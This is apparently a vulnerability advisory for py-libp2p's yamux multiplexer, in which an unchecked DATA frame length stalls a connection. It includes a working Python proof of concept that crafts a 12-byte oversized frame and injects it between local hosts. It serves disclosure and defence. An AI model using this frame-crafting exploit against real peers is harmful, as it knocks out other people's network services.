Summary
libp2p: yamux connection DoS via oversized data frame
Advisory details
Summary
The yamux stream multiplexer in py-libp2p does not validate incoming DATA frame lengths against the receive window before reading the frame body. Any peer that completes a standard libp2p handshake can send a single 12-byte frame claiming a 4 GB body, causing the victim's yamux read loop to block indefinitely. This affects the default new_host() configuration and requires no special setup on either side.
Details
In libp2p/stream_muxer/yamux/yamux.py (lines 915 to 926), the handle_incoming() method dispatches on frame type. When a DATA frame arrives, it reads the body unconditionally:
elif typ == TYPE_DATA:
try:
data = (
await read_exactly(self.secured_conn, length)
if length > 0
else b""
)
The length field is taken directly from the wire-decoded frame header, a 32-bit unsigned integer with a maximum value of 4,294,967,295. There is no check that length fits within the stream's receive window (DEFAULT_WINDOW_SIZE = 256 * 1024 bytes). The body read also happens before the code checks whether the referenced stream_id even exists in self.streams (that check is at line 954), so any stream ID triggers the issue.
handle_incoming() itself is a single sequential loop with no timeout around the body read. Once read_exactly suspends waiting for data that never comes, the loop cannot process any subsequent frames. Every stream on that yamux connection stops working, and no exception is raised.
The same unguarded call appears in the SYN branch at lines 804 to 806, so a crafted SYN frame with a large length field triggers the same stall.
The yamux specification (section 3.3) explicitly requires the receiver to reset the stream if a sender transmits more data than the receive window allows. py-libp2p does not enforce this on the receiver side. All three comparable implementations do: go-yamux tracks recvWindow per stream and returns a SendWindowExceeded error on violation; rust-yamux validates frame length against the stream credit; js-libp2p yamux checks frame length against maxMessageSize.
PoC
The harness completes a normal noise handshake and yamux negotiation between two local hosts, confirms yamux is healthy with a pre-attack ping, then writes a single malicious frame directly to the attacker's secured connection. After a short pause, it attempts to open a new stream with a 3-second deadline. The stream open never completes.
File: test_poc.py
"""
author: @tahaafarooq
POC: yamux connection DoS via oversized data frame (connection DoS)
"""
import os
import secrets
import gc
import struct
import psutil
import trio
import multiaddr
from libp2p import new_host
from libp2p.crypto.ed25519 import create_new_key_pair
from libp2p.custom_types import TProtocol
from libp2p.peer.peerinfo import PeerInfo
from libp2p.stream_muxer.yamux.yamux import Yamux
LOOPBACK = multiaddr.Multiaddr("/ip4/127.0.0.1/tcp/0")
PING = TProtocol("/audit/ping/1.0.0")
YAMUX_HEADER_FORMAT = "!BBHII"
TYPE_DATA = 0x0
HUGE_LENGTH = 0xFFFF_FFFF # max uint32 — 4,294,967,295 bytes
def craft_malicious_frame(stream_id: int = 1) -> bytes:
"""
12-byte yamux DATA frame with flags=0 and length=4 GB.
The stream_id is irrelevant: yamux reads the body BEFORE checking
whether the stream exists.
"""
return struct.pack(YAMUX_HEADER_FORMAT, 0, TYPE_DATA, 0, stream_id, HUGE_LENGTH)
def _get_yamux(host, peer_id) -> Yamux | None:
swarm = host.get_network()
conns = swarm.connections.get(peer_id)
if conns is None:
return None
conn = conns[0] if isinstance(conns, list) else conns
mc = conn.muxed_conn
return mc if isinstance(mc, Yamux) else None
async def attack():
proc = psutil.Process(os.getpid())
rss0 = proc.memory_info().rss
v_kp = create_new_key_pair(secrets.token_bytes(32))
a_kp = create_new_key_pair(secrets.token_bytes(32))
# DEFAULT new_host() — noise + yamux — no explicit sec_opt or muxer_opt
victim = new_host(key_pair=v_kp)
attacker = new_host(key_pair=a_kp)
victim.set_stream_handler(PING, lambda s: s.close())
async with victim.run(listen_addrs=[LOOPBACK]):
vaddr = victim.get_addrs()[0]
assert "127.0.0.1" in str(vaddr), "SAFETY: non-loopback"
print(f"[*] Victim : {vaddr}")
print(f"[*] Config : DEFAULT (noise + yamux)")
async with attacker.run(listen_addrs=[LOOPBACK]):
await attacker.connect(PeerInfo(victim.get_id(), victim.get_addrs()))
await trio.sleep(0.2)
a_yamux = _get_yamux(attacker, victim.get_id())
v_yamux = _get_yamux(victim, attacker.get_id())
assert a_yamux and v_yamux, "yamux muxed_conn not found"
print(
f"[*] Muxer : attacker={type(a_yamux).__name__}, "
f"victim={type(v_yamux).__name__}"
)
# --- Pre-attack: confirm yamux is healthy ---
pre_stream = await attacker.new_stream(victim.get_id(), [PING])
await pre_stream.close()
print("[*] Pre-attack ping: OK (yamux live)")
# --- Inject malicious frame ---
frame = craft_malicious_frame(stream_id=1)
print(
f"[*] Injecting {len(frame)}-byte yamux frame: "
f"type=DATA flags=0x0 stream_id=1 length={HUGE_LENGTH:#010x} "
f"({HUGE_LENGTH:,} bytes)"
)
print(f"[*] Frame hex: {frame.hex()}")
# Write directly to the noise-encrypted secure conn.
# secured_conn.write() encrypts before sending; victim decrypts and
# sees the raw yamux frame bytes, which handle_incoming processes.
await a_yamux.secured_conn.write(frame)
await trio.sleep(0.2)
# Victim's handle_incoming has now read the 12-byte header, dispatched
# to `elif typ == TYPE_DATA:`, and entered read_exactly(conn, 4GB).
# --- Post-attack: try to use yamux ---
post_attack_succeeded = False
with trio.move_on_after(3.0):
try:
post_stream = await attacker.new_stream(victim.get_id(), [PING])
await post_stream.close()
post_attack_succeeded = True
except Exception as e:
print(f"[*] Post-attack new_stream error: {type(e).__name__}: {e}")
gc.collect()
rss1 = proc.memory_info().rss
print("\n=== RESULTS ===")
print(f"Injected frame (hex) : {frame.hex()}")
print(
f"Body-length field : {HUGE_LENGTH} bytes requested, 0 bytes sent"
)
print(f"Post-attack ping OK : {post_attack_succeeded}")
print(f"RSS delta : {(rss1 - rss0) / 1024:.1f} KiB")
yamux_stuck = not post_attack_succeeded
print(f"\nVictim yamux loop stuck: {yamux_stuck}")
if yamux_stuck:
print(
"[CONFIRMED] handle_incoming blocked - victim yamux dead for "
"this connection."
)
print(
"[IMPACT ] Single 12-byte write from any authenticated peer "
"(post-noise-handshake)\n"
" permanently stalls yamux for that connection.\n"
" Affects DEFAULT new_host() config - no mplex required.\n"
" No timeout, no max-length check, no exception."
)
else:
print("[NOT CONFIRMED] yamux responded post-attack.")
assert yamux_stuck, (
"Expected yamux to be stuck after injecting malicious DATA frame, "
"but connection remained functional."
)
def test_yamux_data_frame_stall():
trio.run(attack)
if __name__ == "__main__":
References
Related vulnerabilities
All Supply chain →- MEDIUMCVE-2026-73556
vLLM: ReDoS via structured_outputs.regex in the lm-format-enforcer backend (no compile timeout) — missed sibling of GHSA-rwxx-mrjm-wc2m
- MEDIUMCVE-2026-71486
vLLM: Derender endpoints decode caller-supplied GenerateResponse token IDs without output bounds
- HIGHCVE-2026-67445
Mailpit: SMTP command parser buffers unbounded command lines before syntax rejection
- HIGHCVE-2026-67446
Mailpit: Thumbnail generation decodes unbounded image dimensions before scaling
- HIGHCVE-2026-82397
Tornado: Urlencoded body parsing omits max_num_fields, so one request can stall the event loop
- MEDIUMCVE-2026-81723
NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`